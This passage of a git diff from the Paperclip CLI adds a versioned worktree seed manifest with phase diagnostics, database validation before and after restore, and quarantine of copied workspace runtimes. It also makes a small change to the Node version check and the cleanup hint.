${pc.dim("pnpm paperclipai env-lab down")}`); + // The cleanup hint runs the same CLI that prints it, so it stops the correct + // version. The bundled build runs `dist/index.js`; a source checkout runs + // `src/index.ts` through the checked-out tsx runner. The hint uses absolute + // paths, so it works from any working directory. It passes an inert `argv` + // value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation". + // + // The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects + // from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable. + // The hint pins that resolved instance, so a contributor who pastes the hint + // in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not + // the default instance. + const cleanupInstance = resolvePaperclipInstanceId(opts.instance); + p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`); } export function registerEnvLabCommands(program: Command) { diff --git a/cli/src/commands/install.ts b/cli/src/commands/install.ts index 1667fe3b3bb..8559d83cb87 100644 --- a/cli/src/commands/install.ts +++ b/cli/src/commands/install.ts @@ -5,6 +5,7 @@ import { execFile } from "node:child_process"; import { promisify } from "node:util"; import * as p from "@clack/prompts"; import pc from "picocolors"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; import { addManagedPathBlock, assertManagedShimWritable, @@ -84,9 +85,8 @@ export function resolveGitInstallWorkspacePackages(checkoutPath: string): Releas } function assertSupportedNodeVersion(): void { - const major = Number(process.versions.node.split(".")[0]); - if (!Number.isFinite(major) || major < 20) { - throw new Error(`Managed installs require Node.js 20 or newer (found ${process.version}).`); + if (!isSupportedNodeVersion(process.versions.node)) { + throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`); } } diff --git a/cli/src/commands/worktree-lib.ts b/cli/src/commands/worktree-lib.ts index 7da2857c5d6..4cdf7ef5364 100644 --- a/cli/src/commands/worktree-lib.ts +++ b/cli/src/commands/worktree-lib.ts @@ -5,12 +5,52 @@ import { expandHomePrefix } from "../config/home.js"; export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees"; export const WORKTREE_SEED_MODES = ["minimal", "full"] as const; +export const WORKTREE_SEED_MANIFEST = "seed-manifest.json"; export const WORKTREE_SEED_PENDING_MARKER = "seed-pending"; export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete"; export const WORKTREE_SEED_LOCK_MARKER = "seed.lock"; export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number]; +export const WORKTREE_SEED_PHASES = [ + "pending", + "source_validation", + "snapshot", + "restore", + "migrations", + "execution_quarantine", + "routine_pause", + "workspace_rebind", + "post_restore_validation", + "complete", +] as const; + +export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number]; +export type WorktreeSeedState = "pending" | "running" | "verified" | "failed"; + +export type WorktreeSeedManifest = { + version: 2; + source: { + instanceId: string; + configPath: string; + }; + snapshotAt: string | null; + seedMode: WorktreeSeedMode; + migrationRevision: string | null; + targetInstanceId: string; + phase: WorktreeSeedPhase; + state: WorktreeSeedState; + attemptId: string; + startedAt: string | null; + finishedAt: string | null; + diagnostics: Array<{ + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + at: string; + message?: string; + }>; +}; + export type WorktreeSeedPlan = { mode: WorktreeSeedMode; excludedTables: string[]; @@ -54,6 +94,7 @@ export type WorktreeUiBranding = { }; export type WorktreeSeedMarkerPaths = { + manifest: string; pending: string; complete: string; lock: string; @@ -62,6 +103,7 @@ export type WorktreeSeedMarkerPaths = { export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths { const configDir = path.dirname(path.resolve(configPath)); return { + manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST), pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER), complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER), lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER), diff --git a/cli/src/commands/worktree.ts b/cli/src/commands/worktree.ts index fe07f3ce618..6b7c76ed70f 100644 --- a/cli/src/commands/worktree.ts +++ b/cli/src/commands/worktree.ts @@ -7,6 +7,7 @@ import { readdirSync, readFileSync, readlinkSync, + renameSync, rmSync, statSync, symlinkSync, @@ -21,15 +22,28 @@ import { Readable } from "node:stream"; import * as p from "@clack/prompts"; import pc from "picocolors"; import { and, eq, inArray, sql } from "drizzle-orm"; +import { + resolveCanonicalWorktreeSeedSource, + resolveRegisteredWorktreeSeedSource, +} from "@paperclipai/shared/worktree-seed-source"; +import { + readWorktreePortRegistry, + withWorktreePortRegistryLock, + writeWorktreePortRegistry, +} from "@paperclipai/shared/worktree-port-registry"; import { applyPendingMigrations, agents, + authAccounts, + authUsers, assets, companies, + companyMemberships, createDb, documentRevisions, documents, ensurePostgresDatabase, + executionWorkspaces, formatDatabaseBackupResult, goals, heartbeatRuns, @@ -38,6 +52,7 @@ import { issueComments, issueDocuments, issues, + instanceUserRoles, projectWorkspaces, projects, routines, @@ -45,8 +60,10 @@ import { runDatabaseBackup, runDatabaseRestore, resetPostgresDatabase, + workspaceRuntimeServices, createEmbeddedPostgresLogBuffer, formatEmbeddedPostgresError, + loadWithoutEmbeddedPostgresExitHooks, prepareEmbeddedPostgresNativeRuntime, } from "@paperclipai/db"; import type { Command } from "commander"; @@ -63,13 +80,16 @@ import { formatShellExports, generateWorktreeColor, isWorktreeSeedMode, + WORKTREE_SEED_PHASES, resolveSuggestedWorktreeName, resolveWorktreeSeedPlan, resolveWorktreeSeedMarkerPaths, resolveWorktreeLocalPaths, sanitizeWorktreeInstanceId, type WorktreeSeedPlan, + type WorktreeSeedManifest, type WorktreeSeedMode, + type WorktreeSeedPhase, type WorktreeLocalPaths, } from "./worktree-lib.js"; import { @@ -135,6 +155,7 @@ type WorktreeReseedOptions = { preserveLiveWork?: boolean; yes?: boolean; allowLiveTarget?: boolean; + backupTarget?: boolean; }; type WorktreeRepairOptions = { @@ -155,6 +176,9 @@ type WorktreeEnsureSeededOptions = { fromDataDir?: string; fromInstance?: string; preserveLiveWork?: boolean; + registeredBaseWorkspaceCwd?: string; + registeredProjectWorkspaceId?: string; + expectedCompanyId?: string; }; type EmbeddedPostgresInstance = { @@ -195,6 +219,8 @@ type CopiedGitHooksResult = { type SeedWorktreeDatabaseResult = { backupSummary: string; + snapshotAt: string; + migrationRevision: string; pausedScheduledRoutines: number; executionQuarantine: SeededWorktreeExecutionQuarantineSummary; reboundWorkspaces: Array<{ @@ -202,37 +228,47 @@ type SeedWorktreeDatabaseResult = { fromCwd: string; toCwd: string; }>; + validation: WorktreeSeedValidationSummary; }; -type WorktreeSeedPendingMarker = { - version: 1; - state: "pending"; - sourceConfigPath: string; - seedMode: "minimal"; - createdAt: string; -}; - -type WorktreeSeedCompleteMarker = { - version: 1; - state: "complete"; - seedMode: WorktreeSeedMode; - completedAt: string; +export type WorktreeSeedValidationSummary = { + authUserCount: number; + credentialAccountCount: number; + instanceAdminCount: number; + activeMembershipCount: number; + companyCount: number; + issueCount: number; + representativeCompanyId: string; + representativeIssueId: string; + migrationRevision: string; }; type SeedWorktreeDatabase = typeof seedWorktreeDatabase; export type EnsureWorktreeSeededResult = { seeded: boolean; - reason: "seeded" | "complete_marker" | "legacy_unmarked"; + reason: + | "seeded" + | "verified_manifest" + | "complete_marker" + | "legacy_unmarked" + | "legacy_database"; details?: SeedWorktreeDatabaseResult; }; +export type LegacyWorktreeDatabaseEvidence = { + migrationRevision: string; +}; + export type SeededWorktreeExecutionQuarantineSummary = { disabledTimerHeartbeats: number; resetRunningAgents: number; quarantinedInProgressIssues: number; unassignedTodoIssues: number; unassignedReviewIssues: number; + stoppedProjectWorkspaceRuntimes: number; + stoppedExecutionWorkspaceRuntimes: number; + stoppedRuntimeServices: number; }; function nonEmpty(value: string | null | undefined): string | null { @@ -256,6 +292,9 @@ function formatSeededWorktreeExecutionQuarantineSummary( `quarantined in-progress issues: ${summary.quarantinedInProgressIssues}`, `unassigned todo issues: ${summary.unassignedTodoIssues}`, `unassigned review issues: ${summary.unassignedReviewIssues}`, + `stopped project workspace runtimes: ${summary.stoppedProjectWorkspaceRuntimes}`, + `stopped execution workspace runtimes: ${summary.stoppedExecutionWorkspaceRuntimes}`, + `stopped runtime services: ${summary.stoppedRuntimeServices}`, ].join(", "); } @@ -562,13 +601,24 @@ function resolveRepoManagedWorktreesRoot(cwd: string): string | null { return path.resolve(repoRoot, ".paperclip", "worktrees"); } -function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, cwd: string): { +function collectClaimedWorktreePorts( + homeDir: string, + currentInstanceId: string, + cwd: string, + registeredConfigPaths: Iterable = [], +): { serverPorts: Set; databasePorts: Set; } { const serverPorts = new Set(); const databasePorts = new Set(); const configPaths = new Set(); + for (const configPath of registeredConfigPaths) { + const resolvedConfigPath = path.resolve(configPath); + if (resolvedConfigPath !== path.resolve(cwd, ".paperclip", "config.json") && existsSync(resolvedConfigPath)) { + configPaths.add(resolvedConfigPath); + } + } const instancesDir = path.resolve(homeDir, "instances"); if (existsSync(instancesDir)) { for (const entry of readdirSync(instancesDir, { withFileTypes: true })) { @@ -598,8 +648,13 @@ function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, if (config?.server.port) { serverPorts.add(config.server.port); } - if (config?.database.mode === "embedded-postgres") { - databasePorts.add(config.database.embeddedPostgresPort); + const databasePort = config?.database.embeddedPostgresPort; + if ( + typeof databasePort === "number" && + Number.isInteger(databasePort) && + databasePort > 0 + ) { + databasePorts.add(databasePort); } } catch { // Ignore malformed sibling configs. @@ -1084,11 +1139,15 @@ export function copySeededSecretsKey(input: { } } -async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): Promise { +export async function ensureEmbeddedPostgres( + dataDir: string, + preferredPort: number, + options: { allowExisting?: boolean } = {}, +): Promise { const moduleName = "embedded-postgres"; let EmbeddedPostgres: EmbeddedPostgresCtor; try { - const mod = await import(moduleName); + const mod = await loadWithoutEmbeddedPostgresExitHooks(() => import(moduleName)); EmbeddedPostgres = mod.default as EmbeddedPostgresCtor; } catch { throw new Error( @@ -1100,6 +1159,12 @@ async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): P const postmasterPidFile = path.resolve(dataDir, "postmaster.pid"); const runningPid = readRunningPostmasterPid(postmasterPidFile); if (runningPid) { + if (options.allowExisting === false) { + throw new Error( + `Cannot seed target embedded PostgreSQL at ${dataDir} while it is already running (pid=${runningPid}). ` + + "Stop the worktree service that owns this database, then retry the seed.", + ); + } return { port: readPidFilePort(postmasterPidFile) ?? preferredPort, startedByThisProcess: false, @@ -1187,6 +1252,9 @@ const EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY: SeededWorktreeExecutio quarantinedInProgressIssues: 0, unassignedTodoIssues: 0, unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, }; function isRecord(value: unknown): value is Record { @@ -1218,6 +1286,36 @@ function normalizeWorktreeRuntimeConfig(runtimeConfig: unknown): { return { runtimeConfig: nextRuntimeConfig, disabledTimerHeartbeat: false, changed: false }; } +function stopSeededWorkspaceRuntime( + metadata: unknown, + configKey: "config" | "runtimeConfig", +): { metadata: Record; changed: boolean } { + const nextMetadata = isRecord(metadata) ? { ...metadata } : {}; + const currentConfig = isRecord(nextMetadata[configKey]) + ? { ...(nextMetadata[configKey] as Record) } + : null; + if (!currentConfig) return { metadata: nextMetadata, changed: false }; + + let changed = false; + if (currentConfig.desiredState === "running") { + currentConfig.desiredState = "stopped"; + changed = true; + } + + if (isRecord(currentConfig.serviceStates)) { + const nextServiceStates = { ...currentConfig.serviceStates }; + for (const [serviceIndex, state] of Object.entries(nextServiceStates)) { + if (state !== "running") continue; + nextServiceStates[serviceIndex] = "stopped"; + changed = true; + } + if (changed) currentConfig.serviceStates = nextServiceStates; + } + + if (changed) nextMetadata[configKey] = currentConfig; + return { metadata: nextMetadata, changed }; +} + export async function quarantineSeededWorktreeExecutionState( connectionString: string, ): Promise { @@ -1300,6 +1398,50 @@ export async function quarantineSeededWorktreeExecutionState( summary.unassignedReviewIssues += 1; } } + + const seededProjectWorkspaces = await tx + .select({ id: projectWorkspaces.id, metadata: projectWorkspaces.metadata }) + .from(projectWorkspaces); + for (const workspace of seededProjectWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "runtimeConfig"); + if (!stopped.changed) continue; + await tx + .update(projectWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(projectWorkspaces.id, workspace.id)); + summary.stoppedProjectWorkspaceRuntimes += 1; + } + + const seededExecutionWorkspaces = await tx + .select({ id: executionWorkspaces.id, metadata: executionWorkspaces.metadata }) + .from(executionWorkspaces); + for (const workspace of seededExecutionWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "config"); + if (!stopped.changed) continue; + await tx + .update(executionWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(executionWorkspaces.id, workspace.id)); + summary.stoppedExecutionWorkspaceRuntimes += 1; + } + + const now = new Date(); + const stoppedRuntimeServices = await tx + .update(workspaceRuntimeServices) + .set({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + stoppedAt: now, + lastUsedAt: now, + updatedAt: now, + }) + .returning({ id: workspaceRuntimeServices.id }); + summary.stoppedRuntimeServices = stoppedRuntimeServices.length; }); return summary; @@ -1308,6 +1450,233 @@ export async function quarantineSeededWorktreeExecutionState( } } +type WorktreeSeedValidationExpectation = { + adminUserId: string; + representativeCompanyId: string; + representativeIssueId: string; +}; + +export function requiresWorktreeSeedCredentialAccount( + deploymentMode: PaperclipConfig["server"]["deploymentMode"], +): boolean { + return deploymentMode === "authenticated"; +} + +export function resolveWorktreeSeedMigrationRevision( + migrationState: Awaited>, + requirement: "sourcePrefix" | "upToDate", +): string { + const expectedAppliedPrefix = migrationState.availableMigrations.slice( + 0, + migrationState.appliedMigrations.length, + ); + const appliedMigrationNames = new Set(migrationState.appliedMigrations); + if ( + appliedMigrationNames.size !== expectedAppliedPrefix.length || + expectedAppliedPrefix.some((migration) => !appliedMigrationNames.has(migration)) + ) { + throw new Error("Migration journal is not a prefix of this Paperclip checkout's migration journal."); + } + + if (requirement === "upToDate" && migrationState.status !== "upToDate") { + throw new Error( + `Migration journal is not current (${migrationState.pendingMigrations.length} pending migration(s)).`, + ); + } + + const migrationRevision = expectedAppliedPrefix.at(-1); + if (!migrationRevision) { + throw new Error("Migration journal has no applied revision."); + } + return migrationRevision; +} + +/** + * Markerless worktrees predate the versioned seed manifest. Adopt one only + * after proving that its configured database already has a compatible + * migration journal and the core Paperclip tables. The physical PG_VERSION + * check prevents this read-only probe from initializing a missing embedded + * database and then mistaking that empty cluster for legacy evidence. + */ +export async function inspectLegacyWorktreeDatabase( + configPath: string, +): Promise { + const config = readConfig(configPath); + if (!config) return null; + + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + let embeddedHandle: EmbeddedPostgresHandle | null = null; + let db: ReturnType | null = null; + try { + if (config.database.mode === "embedded-postgres") { + const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); + if (!existsSync(path.join(dataDir, "PG_VERSION"))) return null; + embeddedHandle = await ensureEmbeddedPostgres(dataDir, config.database.embeddedPostgresPort); + } + + const connectionString = resolveSourceConnectionString(config, envEntries, embeddedHandle?.port); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + await inspectMigrations(connectionString), + "sourcePrefix", + ); + db = createDb(connectionString); + await Promise.all([ + db.select({ id: authUsers.id }).from(authUsers).limit(1), + db.select({ id: companies.id }).from(companies).limit(1), + db.select({ id: issues.id }).from(issues).limit(1), + ]); + return { migrationRevision }; + } catch { + return null; + } finally { + await db?.$client?.end?.({ timeout: 5 }).catch(() => undefined); + if (embeddedHandle?.startedByThisProcess) { + await embeddedHandle.stop().catch(() => undefined); + } + } +} + +async function inspectVerifiedSeedDatabase( + connectionString: string, + options: { + deploymentMode: PaperclipConfig["server"]["deploymentMode"]; + expected?: WorktreeSeedValidationExpectation; + migrationRequirement?: "sourcePrefix" | "upToDate"; + requiredCompanyId?: string; + }, +): Promise<{ summary: WorktreeSeedValidationSummary; expectation: WorktreeSeedValidationExpectation }> { + const { + deploymentMode, + expected, + migrationRequirement = "upToDate", + requiredCompanyId, + } = options; + const requiresCredentialAccount = requiresWorktreeSeedCredentialAccount(deploymentMode); + const migrationState = await inspectMigrations(connectionString); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + migrationState, + migrationRequirement, + ); + + const db = createDb(connectionString); + try { + const [counts] = await db + .select({ + authUserCount: sql`count(distinct ${authUsers.id})::int`, + credentialAccountCount: sql`count(distinct ${authAccounts.id})::int`, + instanceAdminCount: sql`count(distinct ${instanceUserRoles.userId})::int`, + activeMembershipCount: sql`count(distinct ${companyMemberships.id})::int`, + companyCount: sql`count(distinct ${companies.id})::int`, + issueCount: sql`count(distinct ${issues.id})::int`, + }) + .from(authUsers) + .leftJoin(authAccounts, eq(authAccounts.userId, authUsers.id)) + .leftJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .leftJoin(companies, eq(companies.id, companyMemberships.companyId)) + .leftJoin(issues, eq(issues.companyId, companies.id)); + + const admin = await db + .select({ userId: authUsers.id }) + .from(authUsers) + .innerJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + authAccounts, + eq(authAccounts.userId, authUsers.id), + ) + .innerJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .where(and( + expected ? eq(authUsers.id, expected.adminUserId) : undefined, + requiredCompanyId ? eq(companyMemberships.companyId, requiredCompanyId) : undefined, + requiresCredentialAccount + ? and( + sql`length(trim(${authAccounts.providerId})) > 0`, + sql`length(trim(${authAccounts.accountId})) > 0`, + ) + : undefined, + )) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!admin) { + throw new Error( + requiresCredentialAccount + ? "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator." + : "No auth user has an instance-admin role and active company membership for local-trusted worktree seeding.", + ); + } + + const representative = await db + .select({ companyId: companies.id, issueId: issues.id }) + .from(companies) + .innerJoin(issues, eq(issues.companyId, companies.id)) + .where( + and( + expected ? eq(companies.id, expected.representativeCompanyId) : undefined, + expected ? eq(issues.id, expected.representativeIssueId) : undefined, + requiredCompanyId ? eq(companies.id, requiredCompanyId) : undefined, + ), + ) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!representative) { + throw new Error("No representative cloned company and issue pair is readable."); + } + + const summary: WorktreeSeedValidationSummary = { + authUserCount: counts?.authUserCount ?? 0, + credentialAccountCount: counts?.credentialAccountCount ?? 0, + instanceAdminCount: counts?.instanceAdminCount ?? 0, + activeMembershipCount: counts?.activeMembershipCount ?? 0, + companyCount: counts?.companyCount ?? 0, + issueCount: counts?.issueCount ?? 0, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + migrationRevision, + }; + if ( + summary.authUserCount < 1 + || (requiresCredentialAccount && summary.credentialAccountCount < 1) + || summary.instanceAdminCount < 1 + || summary.activeMembershipCount < 1 + || summary.companyCount < 1 + || summary.issueCount < 1 + ) { + throw new Error("Seed validation found an incomplete auth, membership, company, or issue shape."); + } + + return { + summary, + expectation: { + adminUserId: admin.userId, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + }, + }; + } finally { + await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); + } +} + async function seedWorktreeDatabase(input: { sourceConfigPath: string; sourceConfig: PaperclipConfig; @@ -1316,16 +1685,12 @@ async function seedWorktreeDatabase(input: { instanceId: string; seedMode: WorktreeSeedMode; preserveLiveWork?: boolean; + expectedCompanyId?: string; + onPhase?: (phase: WorktreeSeedPhase, status: "started" | "succeeded", message?: string) => void; }): Promise { const seedPlan = resolveWorktreeSeedPlan(input.seedMode); const sourceEnvFile = resolvePaperclipEnvFile(input.sourceConfigPath); const sourceEnvEntries = readPaperclipEnvEntries(sourceEnvFile); - copySeededSecretsKey({ - sourceConfigPath: input.sourceConfigPath, - sourceConfig: input.sourceConfig, - sourceEnvEntries, - targetKeyFilePath: input.targetPaths.secretsKeyFilePath, - }); let sourceHandle: EmbeddedPostgresHandle | null = null; let targetHandle: EmbeddedPostgresHandle | null = null; @@ -1343,6 +1708,29 @@ async function seedWorktreeDatabase(input: { sourceEnvEntries, sourceHandle?.port, ); + input.onPhase?.("source_validation", "started"); + const sourceValidation = await inspectVerifiedSeedDatabase( + sourceConnectionString, + { + deploymentMode: input.sourceConfig.server.deploymentMode, + migrationRequirement: "sourcePrefix", + requiredCompanyId: input.expectedCompanyId, + }, + ); + input.onPhase?.( + "source_validation", + "succeeded", + `Validated migration ${sourceValidation.summary.migrationRevision}, ${sourceValidation.summary.companyCount} company record(s), and ${sourceValidation.summary.issueCount} issue record(s).`, + ); + copySeededSecretsKey({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + sourceEnvEntries, + targetKeyFilePath: input.targetPaths.secretsKeyFilePath, + }); + + const snapshotAt = new Date().toISOString(); + input.onPhase?.("snapshot", "started"); const backup = await runDatabaseBackup({ connectionString: sourceConnectionString, backupDir: path.resolve(input.targetPaths.backupDir, "seed"), @@ -1353,10 +1741,13 @@ async function seedWorktreeDatabase(input: { excludeTables: seedPlan.excludedTables, nullifyColumns: seedPlan.nullifyColumns, }); + input.onPhase?.("snapshot", "succeeded", `Created ${path.basename(backup.backupFile)}.`); + input.onPhase?.("restore", "started"); targetHandle = await ensureEmbeddedPostgres( input.targetConfig.database.embeddedPostgresDataDir, input.targetConfig.database.embeddedPostgresPort, + { allowExisting: false }, ); const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; @@ -1366,21 +1757,52 @@ async function seedWorktreeDatabase(input: { connectionString: targetConnectionString, backupFile: backup.backupFile, }); + input.onPhase?.("restore", "succeeded"); + input.onPhase?.("migrations", "started"); await applyPendingMigrations(targetConnectionString); + input.onPhase?.("migrations", "succeeded"); + input.onPhase?.("execution_quarantine", "started"); const executionQuarantine = input.preserveLiveWork ? { ...EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY } : await quarantineSeededWorktreeExecutionState(targetConnectionString); + input.onPhase?.( + "execution_quarantine", + "succeeded", + input.preserveLiveWork + ? "Preserved copied live work by explicit request." + : formatSeededWorktreeExecutionQuarantineSummary(executionQuarantine), + ); + input.onPhase?.("routine_pause", "started"); const pausedScheduledRoutines = await pauseSeededScheduledRoutines(targetConnectionString); + input.onPhase?.("routine_pause", "succeeded", `Paused ${pausedScheduledRoutines} scheduled routine(s).`); + input.onPhase?.("workspace_rebind", "started"); const reboundWorkspaces = await rebindSeededProjectWorkspaces({ targetConnectionString, currentCwd: input.targetPaths.cwd, }); + input.onPhase?.("workspace_rebind", "succeeded", `Rebound ${reboundWorkspaces.length} workspace path(s).`); + input.onPhase?.("post_restore_validation", "started"); + const targetValidation = await inspectVerifiedSeedDatabase( + targetConnectionString, + { + deploymentMode: input.targetConfig.server.deploymentMode, + expected: sourceValidation.expectation, + }, + ); + input.onPhase?.( + "post_restore_validation", + "succeeded", + `Validated migration ${targetValidation.summary.migrationRevision}.`, + ); return { backupSummary: formatDatabaseBackupResult(backup), + snapshotAt, + migrationRevision: targetValidation.summary.migrationRevision, pausedScheduledRoutines, executionQuarantine, reboundWorkspaces, + validation: targetValidation.summary, }; } finally { if (targetHandle?.startedByThisProcess) { @@ -1392,46 +1814,216 @@ async function seedWorktreeDatabase(input: { } } -function writeWorktreeSeedMarker( - filePath: string, - marker: WorktreeSeedPendingMarker | WorktreeSeedCompleteMarker, -): void { +const WORKTREE_SEED_DIAGNOSTIC_LIMIT = 32; +const WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT = 512; +const activeSeedInterruptHandlers = new Map void>(); + +export function formatWorktreeSeedFailureDiagnostic( + phase: WorktreeSeedPhase, + error: unknown, +): string { + const message = error instanceof Error ? error.message : String(error ?? ""); + if ( + phase === "restore" + && /database system is shutting down|terminating connection due to administrator command/i.test(message) + ) { + return "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed."; + } + if (phase === "restore" && /Cannot seed target embedded PostgreSQL.+already running/i.test(message)) { + return "Target embedded PostgreSQL is owned by a running worktree service. Stop that service and retry the seed."; + } + if ( + /No auth user has a non-empty credential account, instance-admin role, and active company membership/i.test( + message, + ) + ) { + return "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding."; + } + return `Seed failed during ${phase}.`; +} + +function dispatchSeedInterruption(signal: NodeJS.Signals): void { + for (const handler of activeSeedInterruptHandlers.values()) { + try { + handler(signal); + } catch { + // Continue terminalizing the other active manifests before exiting. + } + } + process.exit(signal === "SIGINT" ? 130 : 143); +} + +const dispatchSeedSigint = () => dispatchSeedInterruption("SIGINT"); +const dispatchSeedSigterm = () => dispatchSeedInterruption("SIGTERM"); + +function registerSeedInterruptHandler(handler: (signal: NodeJS.Signals) => void): () => void { + const id = randomUUID(); + if (activeSeedInterruptHandlers.size === 0) { + process.once("SIGINT", dispatchSeedSigint); + process.once("SIGTERM", dispatchSeedSigterm); + } + activeSeedInterruptHandlers.set(id, handler); + return () => { + activeSeedInterruptHandlers.delete(id); + if (activeSeedInterruptHandlers.size === 0) { + process.off("SIGINT", dispatchSeedSigint); + process.off("SIGTERM", dispatchSeedSigterm); + } + }; +} + +type LegacyWorktreeSeedPendingMarker = { + version: 1; + state: "pending"; + sourceConfigPath: string; +}; + +function resolveSeedInstanceId(configPath: string): string { + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + return nonEmpty(envEntries.PAPERCLIP_INSTANCE_ID) + ?? sanitizeWorktreeInstanceId(path.basename(path.dirname(path.resolve(configPath)))); +} + +function writeWorktreeSeedManifest(filePath: string, manifest: WorktreeSeedManifest): void { mkdirSync(path.dirname(filePath), { recursive: true }); - writeFileSync(filePath, `${JSON.stringify(marker, null, 2)}\n`, { mode: 0o600 }); + const temporaryPath = `${filePath}.${process.pid}.${randomUUID()}.tmp`; + writeFileSync(temporaryPath, `${JSON.stringify(manifest, null, 2)}\n`, { mode: 0o600 }); + renameSync(temporaryPath, filePath); +} + +export function readWorktreeSeedManifest(configPath: string): WorktreeSeedManifest | null { + const manifestPath = resolveWorktreeSeedMarkerPaths(configPath).manifest; + if (!existsSync(manifestPath)) return null; + let parsed: unknown; + try { + parsed = JSON.parse(readFileSync(manifestPath, "utf8")); + } catch (error) { + throw new Error( + `Invalid worktree seed manifest at ${manifestPath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + const value = parsed as Partial; + const diagnosticsValid = Array.isArray(value.diagnostics) && value.diagnostics.every((diagnostic) => ( + diagnostic + && typeof diagnostic === "object" + && WORKTREE_SEED_PHASES.includes(diagnostic.phase) + && ["started", "succeeded", "failed"].includes(diagnostic.status) + && typeof diagnostic.at === "string" + && (diagnostic.message === undefined || typeof diagnostic.message === "string") + )); + const verifiedTerminalValid = value.state !== "verified" || ( + value.phase === "complete" + && typeof value.snapshotAt === "string" + && value.snapshotAt.length > 0 + && typeof value.migrationRevision === "string" + && value.migrationRevision.length > 0 + && typeof value.startedAt === "string" + && typeof value.finishedAt === "string" + && value.diagnostics?.some((diagnostic) => ( + diagnostic.phase === "complete" && diagnostic.status === "succeeded" + )) === true + ); + if ( + !value + || typeof value !== "object" + || value.version !== 2 + || !value.source + || typeof value.source.instanceId !== "string" + || typeof value.source.configPath !== "string" + || typeof value.targetInstanceId !== "string" + || value.targetInstanceId.length === 0 + || !isWorktreeSeedMode(String(value.seedMode ?? "")) + || !WORKTREE_SEED_PHASES.includes(value.phase as WorktreeSeedPhase) + || !["pending", "running", "verified", "failed"].includes(String(value.state ?? "")) + || typeof value.attemptId !== "string" + || value.attemptId.length === 0 + || !diagnosticsValid + || !verifiedTerminalValid + ) { + throw new Error(`Invalid worktree seed manifest at ${manifestPath}.`); + } + return value as WorktreeSeedManifest; } export function markWorktreeSeedPending(input: { configPath: string; sourceConfigPath: string; - now?: Date; -}): void { - const markers = resolveWorktreeSeedMarkerPaths(input.configPath); - rmSync(markers.complete, { force: true }); - writeWorktreeSeedMarker(markers.pending, { - version: 1, - state: "pending", - sourceConfigPath: path.resolve(input.sourceConfigPath), - seedMode: "minimal", - createdAt: (input.now ?? new Date()).toISOString(), - }); -} - -export function markWorktreeSeedComplete(input: { - configPath: string; + targetInstanceId?: string; seedMode?: WorktreeSeedMode; now?: Date; + diagnosticMessage?: string; }): void { const markers = resolveWorktreeSeedMarkerPaths(input.configPath); - writeWorktreeSeedMarker(markers.complete, { - version: 1, - state: "complete", + const at = (input.now ?? new Date()).toISOString(); + writeWorktreeSeedManifest(markers.manifest, { + version: 2, + source: { + instanceId: resolveSeedInstanceId(input.sourceConfigPath), + configPath: path.resolve(input.sourceConfigPath), + }, + snapshotAt: null, seedMode: input.seedMode ?? "minimal", - completedAt: (input.now ?? new Date()).toISOString(), + migrationRevision: null, + targetInstanceId: input.targetInstanceId ?? 